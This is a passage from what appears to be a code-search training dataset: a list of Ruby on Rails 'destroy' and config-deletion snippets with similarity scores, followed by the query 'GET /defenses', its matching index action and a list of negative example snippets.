"def destroy\n @global_config = AppConfig.find(params[:id])\n @global_config.destroy\n\n respond_to do |format|\n format.html { redirect_to global_configs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @app_config = AppConfig.find(params[:id])\n @app_config.destroy\n\n respond_to do |format|\n format.html { redirect_to app_configs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @kernel_config.destroy\n respond_to do |format|\n format.html { redirect_to kernel_configs_url, notice: \"Kernel config was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @app_config.destroy\n respond_to do |format|\n format.html { redirect_to app_configs_url, notice: 'App config was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @config.destroy\n respond_to do |format|\n format.html { redirect_to configs_url, notice: \"Config was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @site_config = SiteConfig.find(params[:id])\n @site_config.destroy\n\n respond_to do |format|\n format.html { redirect_to site_configs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @app_config = AppConfig.find(params[:id])\n @app_config.destroy\n\n respond_to do |format|\n format.html { redirect_to(app_configs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n conf.delete 'api'\n end",
"def destroy\n @sm_backend_config = SmBackendConfig.find(params[:id])\n @sm_backend_config.destroy\n\n respond_to do |format|\n format.html { redirect_to sm_backend_configs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @wp_dyna_config = WpDynaConfig.find(params[:id])\n @wp_dyna_config.destroy\n\n respond_to do |format|\n format.html { redirect_to wp_dyna_configs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n conf.delete 'dashboard'\n end",
"def delete_monit_config\n _parent = service_resource.parent\n monit_config new_resource.service_name do\n action :delete\n parent _parent\n end\n end",
"def destroy\n @machine_config.destroy\n respond_to do |format|\n format.html { redirect_to machine_configs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ddconfig.destroy\n end",
"def destroy\n @portal_config.destroy\n respond_to do |format|\n format.html { redirect_to portal_configs_url, notice: 'Config was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_config.destroy\n respond_to do |format|\n format.html { redirect_to api_configs_url, notice: 'Api config was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def deleteConfigFile(appName)\n @put.normal \"Removing Thin configuration for #{appName}\"\n configFile = \"/etc/thin/#{appName}.yml\"\n if File.exists?(configFile)\n removeCommand = @system.delete(configFile)\n if removeCommand.success?\n @put.confirm\n return 0\n else\n @put.error \"Could not delete Thin configuration\"\n return 1\n end\n else\n @put.error \"Config file non-existent\"\n return 1\n end\n end",
"def destroy\n @wx_config.destroy\n respond_to do |format|\n format.html { redirect_to wx_configs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @configure = Configure.find(params[:id])\n @configure.destroy\n\n respond_to do |format|\n format.html { redirect_to configures_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @docker_cfg.destroy\n respond_to do |format|\n format.html { redirect_to docker_cfgs_url, notice: 'Docker cfg was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @my_configuration = MyConfiguration.find(params[:id])\n @my_configuration.destroy\n\n respond_to do |format|\n format.html { redirect_to my_configurations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @configtable = Configtable.find(params[:id])\n @configtable.destroy\n\n respond_to do |format|\n format.html { redirect_to configtables_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @jenkins_app_config.destroy\n respond_to do |format|\n format.html { redirect_to jenkins_app_configs_url, notice: 'Jenkins app config was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n ret = qmgmt(['volume', 'config', 'delete', resource[:name]])\n if ( ret.exitstatus != 0 )\n fail(\"quobyte volume config delete #{resource[:name]} failed with status #{ret.exitstatus.to_s}. Output follows.\" + out.join(\"\\n\"))\n end\n end",
"def delete_vbox_vm_config(client_name)\n vbox_vm_dir = get_vbox_vm_dir(client_name)\n config_file = vbox_vm_dir+\"/\"+client_name+\".vbox\"\n if File.exist?(config_file)\n message = \"Removing:\\tVirtualbox configuration file \"+config_file\n command = \"rm \\\"#{config_file}\\\"\"\n execute_command(message,command)\n end\n return\nend",
"def delete_uptime_check_config config_name\n require \"google/cloud/monitoring\"\n\n client = Google::Cloud::Monitoring.uptime_check_service\n client.delete_uptime_check_config name: config_name\n puts \"Deleted #{config_name}\"\nend",
"def destroy\n @cfg.destroy\n respond_to do |format|\n format.html { redirect_to cfgs_url, notice: 'Cfg was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @task_config.destroy\n respond_to do |format|\n format.html { flash[:danger] = I18n.t('task_config.destroy.notice.success'); redirect_to task_configs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @conf = Conf.find(params[:id])\n @conf.destroy\n\n respond_to do |format|\n format.html { redirect_to confs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @kf_global_config = Kf::GlobalConfig.find(params[:id])\n @kf_global_config.destroy\n\n respond_to do |format|\n format.html { redirect_to kf_global_configs_url({:page => params[:page]}) }\n format.json { head :no_content }\n end\n end",
"def destroy\n\t\t@siteconfig.destroy\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to siteconfigs_url, notice: 'Siteconfig was successfully destroyed.' }\n\t\t\tformat.json { head :no_content }\n\t\tend\n\tend",
"def destroy\n @systemsetting.destroy\n respond_to do |format|\n format.html { redirect_to systemsettings_url, notice: 'Systemsetting was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @conf.destroy\n respond_to do |format|\n format.html { redirect_to confs_url, notice: 'Conf was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @conf.destroy\n respond_to do |format|\n format.html { redirect_to confs_url, notice: 'Conf was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @devis_configuration.destroy\n respond_to do |format|\n format.html { redirect_to devis_configurations_url, notice: 'Devis configuration was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @node_config = NodeConfig.destroy(params[:id])\n xml=@node_config.to_xml\n json=@node_config.to_json\n @node_config.destroy\n\n respond_to do |format|\n format.html { redirect_to(node_configs_url) }\n format.json { render :json => json}\n format.xml { render :xml => xml}\n end\n end",
"def destroy\n @configuration = current_host.configuration_parameters.find(params[:id])\n @configuration.destroy\n\n respond_to do |format|\n flash[:notice] = 'hostConfiguration was successfully deleted.'\n format.html { redirect_to host_url(current_host) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @notify_config = NotifyConfig.find(params[:id])\n @notify_config.destroy\n\n respond_to do |format|\n format.html { redirect_to notify_configs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @config_log.destroy\n respond_to do |format|\n format.html { redirect_to config_logs_url, notice: 'Config log was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @config_file = ConfigFile.find(params[:id])\n @config_file.destroy\n\n respond_to do |format|\n format.html { redirect_to config_files_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n\t\t@list_config = ListConfig.find(params[:id])\n\t\t@list_config.destroy\n\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to(list_configs_url) }\n\t\t\tformat.xml { head :ok }\n\t\t\tformat.json { head :ok }\n\t\t\tformat.yaml { render :text => \"\", :content_type => 'text/yaml' }\n\t\tend\n\tend",
"def destroy\n @event_configurations.destroy\n head :no_content\n end",
"def destroy(name)\n\t\tdelete(\"/apps/#{name}\")\n\tend",
"def destroy(name)\n\t\tdelete(\"/apps/#{name}\")\n\tend",
"def destroy\n @configuration.destroy\n\n respond_to do |format|\n flash[:notice] = 'Configuration deleted.'\n format.html { redirect_to(configurations_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\r\n @mainconfig = Mainconfig.find(params[:id])\r\n @mainconfig.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(mainconfigs_url) }\r\n format.xml { head :ok }\r\n end\r\n end",
"def destroy\n @dict_config.destroy\n respond_to do |format|\n format.html { redirect_to dict_configs_url, notice: 'Dict config was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def cfg_delete(cfg)\n obj_delete cfg, ZoneConfiguration\n end",
"def destroy\n onevnet('delete', resource[:name])\n @property_hash.clear\n end",
"def destroy\n @a_serverconfiguration.destroy\n respond_to do |format|\n format.html { redirect_to a_serverconfigurations_url, notice: 'A serverconfiguration was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def unset_config(key)\n store :delete, \"configs/#{key}\"\n end",
"def action_remove\n notifying_block do\n delete_config\n end\n end",
"def destroy\n @configuration.destroy\n respond_to do |format|\n format.html { redirect_to configurations_url, notice: 'Configuration was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_at index\n @config.delete_at index\n end",
"def destroy\n @configuracion.destroy\n respond_to do |format|\n format.html { redirect_to configuraciones_url }\n format.json { head :no_content }\n end\n end",
"def config_delete(name)\n Bundler.settings.set_local(name, nil)\n Bundler.settings.set_global(name, nil)\n end",
"def destroy\n @sys_op = SysOp.find(params[:id])\n @sys_op.destroy\n\n respond_to do |format|\n format.html { redirect_to sys_ops_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sys_check = SysCheck.find(params[:id])\n @sys_check.destroy\n\n respond_to do |format|\n format.html { redirect_to sys_checks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @graphium_configuration.destroy\n respond_to do |format|\n format.html { redirect_to graphium_configurations_url, notice: 'Configuration was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @system_setting.destroy\n respond_to do |format|\n format.html { redirect_to system_settings_url, notice: 'Setting was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def remove_config(name)\n\t\tend",
"def destroy\n @configattribmaster.destroy\n respond_to do |format|\n format.html { redirect_to configattribmasters_url, notice: 'Configattribmaster was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @userconfig.destroy\n respond_to do |format|\n format.html { redirect_to userconfigs_url, notice: \"Userconfig was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n onesecgroup('delete', resource[:name])\n @property_hash.clear\n end",
"def destroy\n @version = Version.find(params[:id])\n @versionconfig = @version.version_configurations.destroy_all\n @version.destroy\n\n respond_to do |format|\n format.html { redirect_to [@application, @version] }\n format.json { head :no_content }\n end\n end",
"def destroy\n @scf_configuration.destroy\n respond_to do |format|\n format.html { redirect_to scf_configurations_url, notice: 'Scf configuration was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @config_value = ConfigValue.find(params[:id])\n @config_value.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_config_values_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n debug(\"#{self.class}::destroy\")\n\n #Retrieval of key\n if ((defined? $key) && !(($key.nil?) || ($key.empty?)))\n Puppet.debug('INFO: key already provided as a command parameter ' + $key)\n\n elsif (!($name.to_s.empty?) )\n\n #Retrieve key\n uriAttributeMap1 = {}\n uriAttributeMap1[:name] = $name\n resourceType = \"storage-service-levels\"\n $key = self.retrieveKeyOfObjectType('/api/1.0/slo/storage-service-levels', resourceType, uriAttributeMap1)\n\n end\n\n\n apiUri = '/api/1.0/slo/storage-service-levels/'+$key\n resourceType = \"storageservicelevel\"\n\n if(transport.http_delete_request(apiUri ,resourceType))\n if(resource[:name] != null)\n puts \"#{resourceType} : #{resource[:name]} successfully deleted\"\n\t\t\telse\n\t\t\t puts \" #{resourceType} successfully deleted\"\n\t\t\tend\n else\n if(resource[:name] != null)\n puts \" #{resourceType} : #{resource[:name]} deletion failed\"\n\t\t else\n\t\t\t puts \" #{resourceType} deletion failed\"\n\t\t end\n end\n\nend",
"def destroy\n @var_conf = VarConf.find(params[:id])\n @var_conf.destroy\n\n respond_to do |format|\n format.html { redirect_to var_confs_url }\n format.json { head :ok }\n end\n end",
"def delete_launch_configs\n auto_scaling = new_auto_scaling\n groups = auto_scaling.groups\n auto_scaling.launch_configurations.each do |config|\n if groups[config.name].nil?\n puts \"deleting asg launch configuration, #{config.name}\"\n config.delete()\n end\n end\nend",
"def destroy\n @configuration_key.destroy\n respond_to do |format|\n format.html { redirect_to configuration_keys_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @configattribdetail.destroy\n respond_to do |format|\n format.html { redirect_to configattribdetails_url, notice: 'Configattribdetail was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_old_asg config, launch_config_name\n auto_scaling = new_auto_scaling\n auto_scaling.groups.each do |group|\n server = tag_value(group.tags, \"server\")\n if server != config[\"server\"]\n next \n end\n\n env = tag_value(group.tags, \"env\")\n if env != config[\"env\"]\n next \n end\n\n if group.name != launch_config_name.name\n puts \"deleting instance group, #{group.name} => #{launch_config_name.name}\"\n delete_asg group.name\n end\n end\nend",
"def destroy\n begin\n @tconfiguration = Tconfiguration.find(params[:id])\n \n @tconfiguration.destroy\n rescue ActiveRecord::RecordNotFound\n end\n\n respond_to do |format|\n format.html { redirect_to(tconfigurations_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @gpu_conf.destroy\n respond_to do |format|\n format.html { redirect_to gpu_confs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @room_config.destroy\n respond_to do |format|\n format.html { redirect_to room_configs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @car_config.destroy\n respond_to do |format|\n format.html { redirect_to car_configs_url, notice: 'Config was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy(name)\n delete(\"/apps/#{name}\").to_s\n end",
"def destroy\n @doc_type_am_configuration = DocTypeAmConfiguration.find(params[:id])\n @doc_type_am_configuration.destroy\n\n respond_to do |format|\n format.html { redirect_to doc_type_am_configurations_url }\n format.json { head :ok }\n end\n end",
"def delete_file\n\n #delete the file\n Chef::Log.debug \"DEBUG: Removing file #{ node[\"php_fpm\"][\"pools_path\"] }/#{ @new_resource.pool_name }.conf!\"\n ::File.delete(\"#{ node[\"php_fpm\"][\"pools_path\"] }/#{ @new_resource.pool_name }.conf\")\n\nend",
"def destroy\n @configattribincl.destroy\n respond_to do |format|\n format.html { redirect_to configattribs_path, notice: 'Configattribincl Threshold is reset to default.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @scrape_config.destroy\n respond_to do |format|\n format.html { redirect_to scrape_configs_url, notice: 'Scrape config was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @config_xml = ConfigXml.find(params[:id])\n @config_xml.destroy\n\n respond_to do |format|\n format.html { redirect_to(config_xmls_url) }\n format.xml { head :ok }\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end",
"def destroy\n @char_config.destroy\n respond_to do |format|\n format.html { redirect_to char_configs_url, notice: 'Char config was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @config_file = ConfigFile.find(params[:id])\n @config_file.destroy\n\n respond_to do |format|\n format.html { redirect_to(config_files_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @admin_configuration_identifier.destroy\n respond_to do |format|\n format.html { redirect_to admin_configuration_identifiers_url, notice: 'Configuration identifier was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @amanda_config = AmandaConfig.find(params[:id])\n @amanda_config.destroy\n\n respond_to do |format|\n format.html { redirect_to(amanda_configs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @configuration_file.destroy\n respond_to do |format|\n format.html { redirect_to configuration_files_url, notice: 'Configuration file was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @system.destroy\n respond_to do |format|\n format.html { redirect_to(admin_systems_url) }\n format.xml { head :ok }\n end\n website.add_log(user: current_user, action: \"Deleted system: #{@system.name}\")\n end",
"def destroy\n chef_server_rest.delete(\"nodes/#{name}\")\n end",
"def destroy\n @configuration_set = ConfigurationSet.find(params[:id])\n @configuration_set.destroy\n\n respond_to do |format|\n format.html { redirect_to configuration_sets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @org_setting.destroy\n\n head :no_content\n end",
"def destroy\n @seat_configuration.destroy\n respond_to do |format|\n format.html { redirect_to seat_configurations_url, notice: 'Seat configuration was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @config_template = ConfigTemplate.find(params[:id])\n json=@config_template.to_json\n xml=@config_template.to_xml\n\n @config_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(config_templates_url) }\n format.json { render :json => json }\n format.xml { render :xml => xml }\n end\n end",
"def destroy\n @systemadmin = Systemadmin.find(params[:id])\n @systemadmin.destroy\n\n respond_to do |format|\n format.html { redirect_to systemadmins_url }\n format.json { head :no_content }\n end\n end"
] |
[
"0.74785835",
"0.7477476",
"0.73887104",
"0.7311788",
"0.70314854",
"0.68435985",
"0.6732241",
"0.6670511",
"0.663053",
"0.6564886",
"0.6539986",
"0.6514842",
"0.64910066",
"0.64798516",
"0.64489335",
"0.6424096",
"0.6368141",
"0.63643223",
"0.63249904",
"0.63144207",
"0.6311541",
"0.62760943",
"0.6260602",
"0.62526965",
"0.6245874",
"0.6232101",
"0.62111104",
"0.61979526",
"0.6190499",
"0.61786264",
"0.617706",
"0.6161796",
"0.6158765",
"0.61558074",
"0.61514324",
"0.61491704",
"0.6148578",
"0.61430985",
"0.61430985",
"0.61057174",
"0.61014616",
"0.6092054",
"0.6088106",
"0.6086517",
"0.60415417",
"0.6040235",
"0.60379726",
"0.6036404",
"0.6036404",
"0.6028964",
"0.602365",
"0.60162604",
"0.60152864",
"0.6009344",
"0.6003151",
"0.6003068",
"0.60013545",
"0.5988803",
"0.59887826",
"0.5986162",
"0.59811115",
"0.59786326",
"0.5974525",
"0.5971214",
"0.5961404",
"0.5959927",
"0.59570706",
"0.59538144",
"0.59537625",
"0.5953467",
"0.5934925",
"0.59288687",
"0.591542",
"0.5915211",
"0.5913615",
"0.59126645",
"0.5909724",
"0.58972174",
"0.5893213",
"0.5890949",
"0.5890189",
"0.58801866",
"0.58676475",
"0.5863203",
"0.5847502",
"0.5843665",
"0.5842712",
"0.5813332",
"0.5812148",
"0.5806388",
"0.5806368",
"0.58031744",
"0.57888323",
"0.5787801",
"0.57868373",
"0.577912",
"0.5776777",
"0.576873",
"0.57606965",
"0.5757919"
] |
0.77282345
|
0
|
GET /defenses GET /defenses.json
|
def index
@defenses = Defense.all
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @expenses = find_expenses.all\n render json: @expenses\n end",
"def index\n @expenses = Expense.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @expenses }\n end\n end",
"def index\n @defense_responses = DefenseResponse.all\n end",
"def index\n @offenses = Offense.all\n end",
"def index\n @expenses = Expense.all\n respond_with @expenses\n end",
"def index\n @api_v1_expenses = Api::V1::Expense.all\n end",
"def index\n @petty_cash_expenses = PettyCashExpense.all\n render json: @petty_cash_expenses\n end",
"def index\n @expenses = get_class.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @expenses }\n end\n end",
"def index\n @fixed_expenses = FixedExpense.for_user(current_user).all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @fixed_expenses }\n end\n end",
"def index\n @livingexpenses = Livingexpense.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @livingexpenses }\n end\n end",
"def expenses\n @expenses ||= Harvest::API::Expenses.new(credentials)\n end",
"def index\n @expenses = Expense.all\n end",
"def show\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense }\n end\n end",
"def show\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense }\n end\n end",
"def show\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense }\n end\n end",
"def show\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense }\n end\n end",
"def show\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense }\n end\n end",
"def defense\n total_for(:defense)\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense }\n end\n end",
"def show\n @expense = current_user.organization.expenses.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense }\n end\n end",
"def index\n @expenses = Expense.limit(10)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @expenses }\n end\n end",
"def index\n @expenses = current_user.user_account.expenses\n #DZF get totals\n\t\tunless @expenses.blank?\n\t\t\t@expense_total_price = current_user.user_account.get_expenses_total_price\n\t\t\t@expense_total_payed_price = current_user.user_account.get_expenses_total_total_payed_price\n\t\t\t@expense_total_payed_percentage = @expense_total_payed_price / @expense_total_price * 100\n\t\t\t@expense_total_remaining_price = current_user.user_account.get_expenses_total_remaining_price\n\t\t\t#DZF get payers percentage\n\t\t\t@payer_types_totals = {}\n\t\t\tPayerType.all.each do |pt|\n\t\t\t\t@payer_types_totals.merge!({pt.name => (current_user.user_account.get_payer_total_price_by_id(pt.id) * 100 / @expense_total_price) } )\n\t\t\tend\n\t\tend\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @expenses }\n end\n end",
"def index\n @expenses = Expense.search(params[:search])\n end",
"def index\n @office_expenses = OfficeExpense.all\n end",
"def index\n @rec_expenses = RecExpense.all\n end",
"def show\n render json: @petty_cash_expense\n end",
"def index\n @dispenses = Dispense.all\n end",
"def index\n @expenses = current_user.expenses.date_between(params[:from],params[:to]).order('created_at DESC')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @expenses }\n end\n end",
"def index\n @record_expenses = RecordExpense.all\n end",
"def index\n redirect_to home_entries_path\n\n @entries = current_user.entries.expenses\n end",
"def index\n\n # authenticate request\n if auth_user\n\n # check user has data to show\n if Expense.user(@user).count ==0\n render json: { message: \"You have no data - please submit date via a POST request\" }, status: 401\n else\n\n # retrieve paramaters\n # set start and end date to data min/max if not provided \n start_date = params[:start_date].respond_to?(:to_date) ? params[:start_date].to_date : Expense.user(@user).min_by(&:date).date\n end_date = params[:end_date].respond_to?(:to_date) ? params[:end_date].to_date : Expense.user(@user).max_by(&:date).date\n category = params[:category]\n\n # request category if provided (uses scopes defined in Expense model)\n if category == nil\n @expenses = Expense.user(@user).after_date(start_date).before_date(end_date)\n else\n @expenses = Expense.user(@user).after_date(start_date).before_date(end_date).category(category)\n end\n end\n\n else\n # request not authenticated\n return render json: { message: \"Invalid Token\", status: 400}, status: 400\n end\n end",
"def index\n @person_expense_records = PersonExpenseRecord.all\n\n render json: @person_expense_records\n end",
"def index\n\n if (params[:dossier])\n if params[:dossier] && params[:clear].present? && params[:clear] == 'true'\n @expenses = []\n elsif params[:dossier] && params[:activite_id].present? && params[:activite_id]!='undefined' \n @expenses = Expense.where(:dossier_id => params[:dossier], :activite_id => params[:activite_id])\n else\n @expenses = Expense.where(:dossier_id => params[:dossier])\n end\n else\n @expenses = []\n end\n \n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @expenses }\n format.json {render :json => {\"success\"=>true,\"data\"=>@expenses.map {|p| p.attributes.merge(:total_ht => p.total, :total_ttc => p.total_ttc, :activite_name => p.activite.try(:description))}, :totalSize =>@expenses.count}}\n \n end\n end",
"def index\n @marketing_expenses = MarketingExpense.all\n end",
"def index\n @expenses_props = Expense.all\n end",
"def index\n @lincenses = Lincense.all\n end",
"def show\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @expense }\n format.js\n end\n end",
"def show\n respond_with @expense\n end",
"def show\n @expense = Expense.find(params[:id])\n index\n end",
"def expense_list\n\n end",
"def index\n @ef_mentals = EfMental.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ef_mentals }\n end\n end",
"def show\n @expense = TblReceipt.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense }\n end\n end",
"def index\n @bid_expenses = BidExpense.all\n end",
"def index\n @expenses = Expense.get_expenses(\n current_user[:id],\n session[:budget]['dateStart'],\n session[:budget]['dateEnd'],\n sort\n )\n\n get_tag_forms\n\n @expenses_sum = calculate_expenses_sum @expenses\n\n get_charts_and_tags @expenses\n end",
"def index\n @expenses = Expense.all\n # @assets = Asset.all\n @assets = current_user.assets\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @expenses }\n end\n end",
"def show\n @expense = current_user.expenses.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @expense }\n end\n end",
"def index\n @fixed_deposits = FixedDeposit.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @fixed_deposits }\n end\n end",
"def show\n @livingexpense = Livingexpense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @livingexpense }\n end\n end",
"def show\n @admin_expense_type = Admin::ExpenseType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_expense_type }\n end\n end",
"def index\n json_response(current_restaurant.restaurant_food_items)\n end",
"def show\n @fixed_expense = FixedExpense.for_user(current_user).find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @fixed_expense }\n end\n end",
"def offenses; end",
"def offenses; end",
"def offenses; end",
"def set_defense\n @defense = Defense.find(params[:id])\n end",
"def show\n render json: @person_expense_record\n end",
"def index\n @desks = Desk.all\n\n render json: @desks\n end",
"def index\n @shared_expenses = SharedExpense.all\n end",
"def show\n @expense_state = ExpenseState.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense_state }\n end\n end",
"def index\n @defense_charms = DefenseCharm.all\n end",
"def defense_report(label = 'Defenses:')\n status_report(\n name: label,\n items: @defenders,\n item_text: lambda { |item| item.list_name num_id_cols: @defenders.size.to_s.size }\n )\nend",
"def index\n @offices = Office.all\n json_response(@offices)\n end",
"def show\n @food = Food.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @food }\n end\n end",
"def show\n @expenses = @expenses_file.expenses.select(\"strftime('%m', date) as month, strftime('%Y', date) as year, SUM(tax_amount) + SUM(pre_tax_amount) AS total\").\n group('month, year').order('year, month').as_json\n end",
"def show\n\n @food = Food.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @food }\n end\n end",
"def index\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @life_insurances }\n end\n end",
"def deserialize_offenses(offenses); end",
"def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @expense_group }\n end\n end",
"def create\n @defense = Defense.new(defense_params)\n\n respond_to do |format|\n if @defense.save\n format.html { redirect_to @defense, notice: 'Defense was successfully created.' }\n format.json { render :show, status: :created, location: @defense }\n else\n format.html { render :new }\n format.json { render json: @defense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @expense }\n end\n end",
"def show\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @expense }\n end\n end",
"def show\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @expense }\n end\n end",
"def show\n @favourite_food = FavouriteFood.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @favourite_food }\n end\n end",
"def show\n render json: @diet, status: 200, root: true\n end",
"def index\n @competencies = Competency.all\n respond_to do |format|\n format.json { render json: @competencies }\n end\n end",
"def show\n render json: @educations\n end",
"def index\n @definitions = Definition.order('created_at desc')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @definitions }\n end\n end",
"def index\n @expedientes = Expediente.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @expedientes }\n end\n end",
"def show\n @expense = Expense.for_user(current_user).find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @expense }\n end\n end",
"def set_defense_response\n @defense_response = DefenseResponse.find(params[:id])\n end",
"def index\n @exhibits = Exhibit.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @exhibits }\n end\n end",
"def show\n @definition = Definition.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @definition }\n end\n end",
"def show\n @definition = Definition.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @definition }\n end\n end",
"def show\n json_response(@food_item)\n end",
"def index\n @investigations = Investigation.where(:visible => true)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @investigations }\n end\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb (no data required)\n f = find_budgets\n format.ext_json { render :json => f.to_ext_json(:class => :budget, \n :count => f.length,\n :methods=>[:total_budget_costs,:total_budget_invoices,:total_budget_pricings],\n :include=>{:user=>{:only=>\"login\"}}) }\n \n end\n end",
"def index\n @efforts = Effort.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @efforts }\n end\n end",
"def set_offense\n @offense = Offense.find(params[:id])\n end",
"def index\n @educations = Education.all\n render json: @educations\n end",
"def new\n @expense = Expense.new\n @assigned_categories = \"\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @expense }\n end\n end",
"def destroy\n @defense.destroy\n respond_to do |format|\n format.html { redirect_to defenses_url, notice: 'Defense was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
